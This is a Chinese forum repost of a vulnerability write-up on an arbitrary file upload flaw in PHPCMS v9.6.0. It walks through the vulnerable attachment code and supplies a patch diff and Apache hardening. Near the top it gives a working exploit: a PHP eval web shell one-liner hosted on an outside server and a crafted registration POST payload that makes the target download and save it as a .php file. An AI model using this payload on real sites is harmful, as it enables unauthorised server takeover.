PHPCMSv9.6.0 任意文件上传漏洞 - 中国红客帝国官网-Honker EmPire For China - Powered by H.E.C
网络爱好者的栖息之地,让我们的网络技术更上一层楼!!!

PHPCMSv9.6.0 任意文件上传漏洞

无法 漏洞预警
某天平台上的某位兄弟早在 3月 就提交了这个漏洞的细节
随便点了一个快照进去,查看源代码发现了几处注释
2017/4/10 PHPCMSv9.6.0 任意文件上传漏洞(2017/04/09)
1. <!-- update 2016/12/26 18:03:21 r:utf-8 s:utf-8 -->
2. <!-- hit cache 2016/12/26 18:04:13 Unicode (UTF-8)-->
再回想一下  phithon  牛说的撞洞的事...
最怕空气突然安静
传说是提在某知平台上的,某知平台上关于该CMS审核通过的漏洞是 2016­12­02,最后一次高危漏
洞日期是2016­09­19
漏洞验证
1.首先在远程HTTP服务器上准备一个txt文件,可以用我提供的:
http://blog.evalbug.com/uploads/ant.txt
内容为一句话:
1. <?php @eval($_POST['ant']);?>
2.向目标发送如下 POST 请求
1.  http://v9.demo.phpcms.cn/index.php?m=member&c=index&a=register&siteid=1
2. 
3.  POST内容:
4. 
5.  siteid=1&modelid=11&username=angel8&password=123456&email=xxxx8@qq.com&info%5Bcontent%5D=%3Cimg%20src=http:
注意:  username  和  email  不要和之前有重复,如果有重复 shell 也可以正常下载到目
标,但是不会爆出路径,需要写脚本爆 shell
漏洞分析
漏洞点在  /phpcms/libs/classes/attachment.class.php  文件的第 166 行至 172
行,  download 函数中。
贴出函数,结合注释,大概看一下,后面会慢慢分析:
文件:  /phpcms/libs/classes/attachment.class.php
1. class attachment {
2.     var $contentid;
3.     var $module;
4.     var $catid;
5.     var $attachments;
6.     var $field;
7.     var $imageexts = array('gif', 'jpg', 'jpeg', 'png', 'bmp');
8.     var $uploadedfiles = array();
9.     var $downloadedfiles = array();
10.     var $error;
11.     var $upload_root;
12.     var $siteid;
13.     var $site = array();
14. 
15.     function __construct($module='', $catid = 0,$siteid = 0,$upload_dir = '') {
16.         $this->catid = intval($catid);
17.         $this->siteid = intval($siteid)== 0 ? 1 : intval($siteid);
18.         $this->module = $module ? $module : 'content';
19.         pc_base::load_sys_func('dir');       20.         pc_base::load_sys_class('image','','0');
21.         $this->upload_root = pc_base::load_config('system','upload_path');
22.         $this->upload_func = 'copy';
23.         $this->upload_dir = $upload_dir;
24.     }
25. 
26.     // 此处省略其它代码 27. 
28. /**
29.      * 附件下载
30.      * Enter description here ...
31.      * @param $field 预留字段
32.      * @param $value 传入下载内容 33.      * @param $watermark 是否加入水印 34.      * @param $ext 下载扩展名 35.      * @param $absurl 绝对路径 36.      * @param $basehref 
37.      */
38.     function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl =
39.     {
40.         global $image_d;
41.         $this->att_db = pc_base::load_model('attachment_model');
42.         $upload_url = pc_base::load_config('system','upload_url');
43.         $this->field = $field;
44.         $dir = date('Y/md/');
45.         $uploadpath = $upload_url.$dir;
46.         $uploaddir = $this->upload_root.$dir;
47.         $string = new_stripslashes($value);
48.         if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matche
49.         $remotefileurls = array();
50.         foreach($matches[3] as $matche)
51.         {
52.             if(strpos($matche, '://') === false) continue;
53.             dir_create($uploaddir);
54.             $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); // 这里 55.         }
56.         unset($matches, $string);
57.         $remotefileurls = array_unique($remotefileurls);
58.         $oldpath = $newpath = array();
59.         foreach($remotefileurls as $k=>$file) {
60.             if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) con
61.             $filename = fileext($file); // 这里是漏洞点
62.             $file_name = basename($file);
63.             $filename = $this->getname($filename);
64. 
65.             $newfile = $uploaddir.$filename;
66.             $upload_func = $this->upload_func; // 看构造函数 67.             if($upload_func($file, $newfile)) { // 使用 copy 函数远程下载
68.                 $oldpath[] = $k;
69.                 $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
70.                 @chmod($newfile, 0777); // 给 777 权限,Shell 妥妥的能执行
71.                 $fileext = fileext($filename);
72.                 if($watermark){
73.                     watermark($newfile, $newfile,$this->siteid);
74.                 }
75.                 $filepath = $dir.$filename;
76.                 $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>file
77.                 $aid = $this->add($downloadedfile);
78.                 $this->downloadedfiles[$aid] = $filepath;
79.             }
80.         }
81.         return str_replace($oldpath, $newpath, $value);
82.     }
大概说一下这个函数的流程:
经过全局处理后,传入的值  $value  为:  &lt;img
src=http://blog.evalbug.com/uploads/ant.txt?.php#.jpg&gt;
1. $string = new_stripslashes($value);
然后使用  new_stripslashes  删除反斜杠,此时 value 值还是传入的值
1. if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
这里对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配  href  或者  src  的值,后缀检查这里只要 url 的最后是
以  .jpg 、  . gif  就可以继续执行下去了。
经过匹配后的  $matches  的结构如下:
1. array(5) {
2.   [0]=>
3.   array(1) {
4.     [0]=>
5.     string(53) "src=http://blog.evalbug.com/uploads/ant.txt?.php#.jpg"
6.   }
7.   [1]=>
8.   array(1) {
9.     [0]=>
10.     string(3) "src"
11.   }
12.   [2]=>
13.   array(1) {
14.     [0]=>
15.     string(0) ""
16.   }
17.   [3]=>
18.   array(1) {
19.     [0]=>
20.     string(49) "http://blog.evalbug.com/uploads/ant.txt?.php#.jpg"
21.   }
22.   [4]=>
23.   array(1) {
24.     [0]=>
25.     string(3) "jpg"
26.   }
27. }
然后看  foreach :
1. foreach($matches[3] as $matche)
2. {
3.     if(strpos($matche, '://') === false) continue;
4.     dir_create($uploaddir); // 创建上传目录

5.     $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); // 这里对匹配后的网址进行了补全 

6. }
fillurl  这个函数具体代码就不贴了,在这个文件里面可以看到,我们知道
般是锚点,不会传给服务端,也可以理解成注释,经过这个函数处理后,我们
除掉  #  号,变成了这个样子:
1. http://blog.evalbug.com/uploads/ant.txt?.php
此时的  $remotefileurls  中结构是这个样子(其它的省略):
1. array(1) {
2.   ['http://blog.evalbug.com/uploads/ant.txt?.php#.jpg']=>
3.   string(44) "http://blog.evalbug.com/uploads/ant.txt?.php"
4. }
继续看  foreach :
1. foreach($remotefileurls as $k=>$file) { // 自行对应上文$remotefileurls的 key 和 value, $file 是处理后的 url
2.     if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
3.     $filename = fileext($file); // 取处理后的 url 的文件后缀,这时取到的后缀是 .php
4.     $file_name = basename($file);
5.     $filename = $this->getname($filename); // 根据后缀名,结合时间戳生成的文件名, 取完新后缀之后未验证合法
6. 
7.     $newfile = $uploaddir.$filename; // 修正生成文件的路径 8.     $upload_func = $this->upload_func; // upload_func 值看构造函数,值为 copy
9.     if($upload_func($file, $newfile)) { // 使用 copy 函数拷贝远程文件,并命名为上面生成的那个 php 文件名 10.         $oldpath[] = $k;
11.         $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
12.         @chmod($newfile, 0777); //给新文件 读写执行权限
13.         $fileext = fileext($filename);
14.         if($watermark){
15.             watermark($newfile, $newfile,$this->siteid);
16.         }
17.         $filepath = $dir.$filename;
18.         $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile
19.         $aid = $this->add($downloadedfile);
20.         $this->downloadedfiles[$aid] = $filepath;
21.     }
22. }
总结一下,先对传入的 url 使用  preg_match_all  进行后缀检查,然后用 fillurl 去掉  # 后面的
内容,再用  fileext  取新后缀,取到新后缀后未检验,就直接用  copy  下载文件并重命名。
所以只要找一个使用了  attachment ,并且调用  download  函数的地方就行了
我们找到  caches/caches_model/caches_data/  目录,找了几个文件后缀
是  _input.class.php  的文件,都有  editor  函数,所以这些模块都是可以利用的。
以  caches/caches_model/caches_data/member_input.class.php  为例:
1. function editor($field, $value) {
2.     $setting = string2array($this->fields[$field]['setting']);
3.     $enablesaveimage = $setting['enablesaveimage'];
4.     $site_setting = string2array($this->site_config['setting']);
5.     $watermark_enable = intval($site_setting['watermark_enable']);
6.     $value = $this->attachment->download('content', $value,$watermark_enable);
7.     return $value;
8. }
可以看到未对  value  进行过滤,继续找调用  editor  的地方,找了半天没找到,最后发现这家
伙居然是动态调用的,调用的地方在同文件的  get  函数里:
1. function get($data) {
2.     $this->data = $data = trim_script($data);
3.     $model_cache = getcache('member_model', 'commons');
4.     $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
5. 
6.     $info = array();
7.     $debar_filed = array('catid','title','style','thumb','status','islink','description');
8.     if(is_array($data)) {
9.         foreach($data as $field=>$value) {
10.             if($data['islink']==1 && !in_array($field,$debar_filed)) continue; // 如果传入的字段在黑名单里 11.             $field = safe_replace($field);
12.             $name = $this->fields[$field]['name'];
13.             $minlength = $this->fields[$field]['minlength'];
14.             $maxlength = $this->fields[$field]['maxlength'];
15.             $pattern = $this->fields[$field]['pattern'];
16.             $errortips = $this->fields[$field]['errortips'];
17.             if(empty($errortips)) $errortips = "$name 不符合要求!";
18.             $length = empty($value) ? 0 : strlen($value);
19.             if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个 20.             if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
21.             if($maxlength && $length > $maxlength && !$isimport) {
22.                 showmessage("$name 不得超过 $maxlength 个字符!");
23.             } else {
24.                 str_cut($value, $maxlength);
25.             }
26.             if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips
27.             if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) &&
28.             $func = $this->fields[$field]['formtype'];//如果找到formtype为 editor 的字段
29.             if(method_exists($this, $func)) $value = $this->$func($field, $value); // 然后这里就能调用 edit
30. 
31.             $info[$field] = $value;
32.         }
33.     }
34.     return $info;
35. }
先对  $data  先做了  trim  去除两头空白字符的处理。
1. if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
然后如果传入的字段在黑名单里面,则不能继续执行,所以我们需要
在  caches/caches_model/caches_data/model_field_1.cache.php  文件里面找到合适的
field 名
然后使用  safe_replace 来处理:
1. function safe_replace($string) {
2.     $string = str_replace('%20','',$string);
3.     $string = str_replace('%27','',$string);
4.     $string = str_replace('%2527','',$string);
5.     $string = str_replace('*','',$string);
6.     $string = str_replace('"','&quot;',$string);
7.     $string = str_replace("'",'',$string);
8.     $string = str_replace('"','',$string);
9.     $string = str_replace(';','',$string);
10.     $string = str_replace('<','&lt;',$string);
11.     $string = str_replace('>','&gt;',$string);
12.     $string = str_replace("{",'',$string);
13.     $string = str_replace('}','',$string);
14.     $string = str_replace('\\','',$string);
15.     return $string;
16. }
不影响,继续分析,我们看调用 editor 函数的这里:
1. $func = $this->fields[$field]['formtype'];
2. if(method_exists($this, $func)) $value = $this->$func($field, $value);
所以我们要找的 field 的 formtype 值必须是 editor,满足条件的刚好是  content  字段
因为这个文件是 cache 文件,根据其命名规范,找其对应的 module 文件就好了,对应的目录
为:  /phpcms/modules/member/ ,我们重点关注哪个文件中的方法中用了  $member_input‐
>get  方法,并且这个方法可以在前台调用。
最终发现  /phpcms/modules/member/index.php  中的  register 方法使用了这个函数 133 行

1. if($member_setting['choosemodel']) {
2.     require_once CACHE_MODEL_PATH.'member_input.class.php';
3.     require_once CACHE_MODEL_PATH.'member_update.class.php';
4.     $member_input = new member_input($userinfo['modelid']);     
5.     $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
6.     $user_model_info = $member_input->get($_POST['info']);                                  
7. }
将客户端发过来的  $_POST['info']  使用  html_special_char  来实体转义后,就直接传给
了  $member_input‐>get ,结合我们上面的一系列分析,只要  $_POST['info']  中
的  content  字段的值有  src=http://blog.evalbug.com/uploads/ant.txt?.php#.jpg 这
个字符串或者把  src  替换成  href  就能触发了。
所以就形成了最终要发送的Payload:
1.  http://v9.demo.phpcms.cn/index.php?m=member&c=index&a=register&siteid=1
2. 
3.  POST内容:
4.  siteid=1&modelid=11&username=angel8&password=123456&email=xxxx8@qq.com&info%5Bcontent%5D=%3Cimg%20src=http:
不加  <img>  标签一样会触发
漏洞修复
在  /phpcms/libs/classes/attachment.class.php 的166行后加上一行代码检查:
1. if(!preg_match("/($ext)/i", $filename)) continue;
最后附上 git 生成的 diff 文件:
1. diff --git a/phpcms/libs/classes/attachment.class.php b/phpcms/libs/classes/attachment.class.php
2. index 5f095b9..ea9574d 100644
3. --- a/phpcms/libs/classes/attachment.class.php
4. +++ b/phpcms/libs/classes/attachment.class.php
5. @@ -164,6 +164,7 @@ class attachment {
6.                 foreach($remotefileurls as $k=>$file) {
7.                         if(strpos($file, '://') === false || strpos($file, $upload_url) !== false
8.                         $filename = fileext($file);
9. +                       if(!preg_match("/($ext)/i", $filename)) continue;
10.                         $file_name = basename($file);
11.                         $filename = $this->getname($filename);
12. 
13. @@ -405,4 +406,4 @@ class attachment {
14.                 return string2array($siteinfo[$siteid]['setting']);
15.         }
16.  }
17. -?>
18. \ No newline at end of file
19. +?>
防护方案
总等官方补丁也不是个事,还不如把容器权限好好配置一下
设置网站目录下的  /uploadfile  目录及子目录不解析  php  文件。推荐 phpcms 官方演示站也
这么配置,即便上传了Shell也不会执行。
我的网站路径是  /var/www/html/uploadfile ,根据你的真实情况自行调整 以 apache v2.4 为
例,在  apache2.conf  中添加如下配置:
1. <Directory /var/www/html/uploadfile>
2.   # 禁止解析 php 文件
3.   php_admin_flag engine off
4.   # 禁止用户下载 php 文件
5.   <filesmatch ".+\.ph(p[345]?|t|tml)$">
6.    Order deny,allow
7.    Deny from all
8.   </filesmatch>
9. </Directory>
nginx 等其它 Web 容器配置请自行百度,配置完记得重启。

标签: 暂无标签

免责声明:

本站提供的资源,都来自网络,版权争议与本站无关,所有内容及软件的文章仅限用于学习和研究目的。不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负,我们不保证内容的长久可用性,通过使用本站内容随之而来的风险与本站无关,您必须在下载后的24个小时之内,从您的电脑/手机中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。侵删请致信E-mail:22365412@qq.com

同类推荐
评论列表